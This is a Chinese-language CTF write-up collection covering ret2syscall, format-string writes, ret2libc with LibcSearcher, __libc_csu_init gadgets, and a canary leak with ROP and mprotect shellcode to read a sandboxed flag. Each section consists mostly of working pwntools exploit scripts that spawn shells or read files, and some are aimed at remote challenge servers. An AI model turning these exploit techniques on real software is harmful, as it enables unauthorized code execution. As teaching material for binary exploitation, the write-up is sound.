pwn学习总结(六) —— 经典题目整理二
ret2syscall
平台:ctf wiki
题目:ret2syscall
查看程序防护:
查看反汇编:
计算 input 到 ebp 的偏移量:
syscall条件:
eax = 0xb
ebx 指向 /bin/sh 的地址
ECX = 0
EDX = 0
exp:
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('./rop')
r = process('./rop')
pop_eax_ret = 0x80bb196
pop_edx_ecx_ebx_ret = 0x806eb90
bin_sh = elf.search('/bin/sh\x00').next()
int_0x80 = 0x8049421
payload = 'a'*0x6c + 'b'*4
payload += p32(pop_eax_ret) + p32(0xb)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh)
payload += p32(int_0x80)
r.sendline(payload)
r.interactive()
getshell:
格式化字符串漏洞
平台:NCTF2019
题目:pwn me 100 year!(II)
查看程序防护:
定位漏洞点:
已知信息:
- 存在两处格式化字符串漏洞
- 第一个printf可以用来leak buf的地址,前十六个字节会被src覆盖,所以需要先填充16个字节
- src与dword_200E0的偏移为0x60个字节,如有需要可以在IDA中进行查看
- 第二个printf可以用来对buf进行写入
payload:
#-*- coding: utf-8 -*-
from pwn import *
#context.log_level='debug'
#r = remote('139.129.76.65',50005)
r = process('./pwn_me_2')
#填充src,并获取src的地址
payload1 = 'a'*16 + '%llx'
r.sendline(payload1)
r.recvuntil('preparing......\n')
# src 与 dword_2020E0 的偏移为 0x60
dword_2020E0_addr = int(r.recv(12), 16) + 0x60
'''
备注:
1. 写入的值 = 输出的字节数
2. '%??c'表示输出??个空格
3. '??$'表示栈中第??个成员
4. '$hn'表示写入的宽度为2个字节
5. 一次性写入4字节宽度的话需要一次性输出0x66666666个字符,数量太多,会导致printf函数崩溃
'''
r.recvuntil('what do you want?\n')
#向dword_2020E0_addr写入0x6666
payload2 = "%" + str(0x6666) + "c%10$hn" #13 byte
#向dword_2020E0_addr+2写入0x6666
payload2 += "%" + str(0x16666 - 0x6666) + "c%11$hn" #13 byte
#前面一共写入了26个字符,为了栈对齐,补6个'a',到32个字符
payload2 += 'aaaaaa'
#dword_2020E0_addr 的地址在栈中的第10个成员
payload2 += p64(dword_2020E0_addr)
#dword_2020E0_addr+2的地址在栈中的第10个成员
payload2 += p64(dword_2020E0_addr+2)
r.sendline(payload2)
r.interactive()
getshell:
LibcSearcher
平台:wiki
题目:ret2libc3
查看程序防护:
查看反汇编:
解题思路:
- 通过puts函数leak已调用过的函数的got地址
- 通过leak出的地址的后12位偏移查找libc版本(即使开启ASLR,后三个字节不变)
- 确定libc版本后,可以通过LibcSearcher计算libc中的其它函数的地址,也可以手动计算
- 调用libc中的函数执行系统命令,从而getshell
exp:
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
#context.arch = 'i386'/'amd64'
elf = ELF('./ret2libc3')
#libc_so = ELF('./')
sh = process('./ret2libc3')
#sh = remote('', )
main_addr = 0x80484d0
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
sh.recvuntil('Can you find it !?')
payload = 'a'*0x6c + 'b'*4
payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)
#pwnlib.gdb.attach(proc.pidof(sh)[0])
sh.sendline(payload)
puts_addr = u32(sh.recv(4))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
#########################################################
system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
sh.recvuntil('Can you find it !?')
payload = 'a'*0x6c + 'b'*4
payload += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
sh.sendline(payload)
sh.interactive()
getshell:
万能gadgets
平台:一步一步学 ROP 之 linux_x64 篇
题目:level5
查看程序防护:
查看反汇编:
已知信息:
- 存在栈溢出漏洞
- 文件中不存在system函数与’/bin/sh’字符串
- 存在__libc_csu_init,即存在万能gadgets
解题思路:
- 利用万能gadgets读取write函数在内存中的地址
- 通过write地址的后12位偏移和LibcSearcher模块获得libc版本
- write地址减去write在libc中的偏移得到libc在内存中的基地址
- 使用LibcSearcher模块dump出execve的基地址
- 利用万能gadgets向bss段中写入execve的地址和’/bin/sh’字符串
- 利用万能gadgets调用execve(’/bin/sh’)
exp:
#-*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'
elf = ELF('./level5')
#libc_so = ELF('./')
sh = process('./level5')
#sh = remote('', )
#pop_rbx_rbp_r12_r13_r14_r15_ret
csu_pop = 0x40061A
#call [r12 + rbx*8]
csu_end = 0x400600
main_addr = elf.symbols['main']
write_got = elf.got['write']
#万能gadgets
def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):
payload = 'a'*0x80 + 'b'*8
payload += p64(csu_pop) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_end)
payload += 'a'*0x38
payload += p64(ret_addr)
sh.sendline(payload)
sleep(0.2)
sh.recvuntil('Hello, World\n')
#获得write函数地址
csu(0, 1 , write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))
#通过后12位偏移查询libc版本
libc = LibcSearcher('write', write_addr)
#libc基地址 = write地址 - write偏移
libc_base = write_addr - libc.dump('write')
#######################################################
read_got = elf.got['read']
execve_addr = libc_base + libc.dump('execve')
bss_addr = elf.bss()
sh.recvuntil('Hello, World\n')
#向bss段写入execve地址与'/bin/sh'字符串
csu(0, 1, read_got, 16, bss_addr, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')
#######################################################
sh.recvuntil('Hello, World\n')
#调用execve('/bin/sh\x00')
csu(0, 1, bss_addr, 0, 0, bss_addr+8, main_addr)
sh.interactive()
getshell:
canary泄露 + rop + 沙盒
平台:NCTF2019
题目:warmup
查看程序防护:
查看反汇编:
已知条件:
- 开启了溢出检测
- 开启了沙盒模式,只能调用libc中的open | read | write等读写函数
- 可以通过leak canary绕过溢出检测
EXP:
#-*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF('./warm_up')
libc = ELF('./libc-2.23.so')
r = remote('139.129.76.65', 50007)
r.recvuntil('warm up!!!\n')
#距离canary24个字节,换行符0x0a会占据canary最后一个字节,使得canary发生泄露
r.sendline('a'*24)
r.recv(25) #丢弃前25个字节,包括用于泄露canary的'\x0a'
canary = '\x00' + r.recv(7)
print(hex(u64(canary)))
pop_rdi_ret = 0x400bc3
pop_rsi_r15_ret = 0x400bc1
start_addr = 0x400910
bss_addr = elf.bss()
puts_plt = elf.symbols['puts']
libc_start_main_got = elf.got['__libc_start_main']
#leak libc
payload = 'a'*24 + canary + 'b'*8
payload += p64(pop_rdi_ret)
payload += p64(libc_start_main_got)
payload += p64(puts_plt)
payload += p64(start_addr)
r.recvuntil(' ?')
r.sendline(payload)
libc_start_main = u64(r.recv(6).ljust(8,'\x00'))
#print('libc_start_main = ' + str(hex(libc_start_main)))
libc_base = libc_start_main - libc.symbols['__libc_start_main']
gets = libc_base + libc.symbols['gets']
mprotect = libc_base + libc.symbols['mprotect']
pop_rdx_ret = libc_base + libc.search(asm("pop rdx\nret")).next()
r.recvuntil('warm up!!!\n')
r.sendline('a')
payload = 'a'*0x18 + canary + 'b'*8
#向bss + 0x500位置写入shellcode
payload += p64(pop_rdi_ret) + p64(bss_addr + 0x500) + p64(gets)
#构造mprotect,更改内存保护属性
payload += p64(pop_rdx_ret) + p64(7) #设置保护属性
payload += p64(pop_rsi_r15_ret) + p64(0x1500) + p64(0) #设置大小
payload += p64(pop_rdi_ret) + p64((bss_addr>>12)<<12) #设置起始地址
payload += p64(mprotect) #调用mprotect
#修改内存保护属性后,令RIP指向下方构造的shellcode
payload += p64(bss_addr + 0x500)
r.recvuntil(' ?')
r.sendline(payload)
payload = shellcraft.open("flag")
#将远程flag文件内容写入缓冲区,open成功时返回值为3
# fd address size
payload += shellcraft.read( 3, bss_addr+0x100, 0x30)
payload += shellcraft.write(1, bss_addr+0x100, 0x30)
r.sendline(asm(payload))
r.interactive()
由于服务器在写完wp后连不上了,这里放一张本地执行成功的截图,环境:ubuntu16.04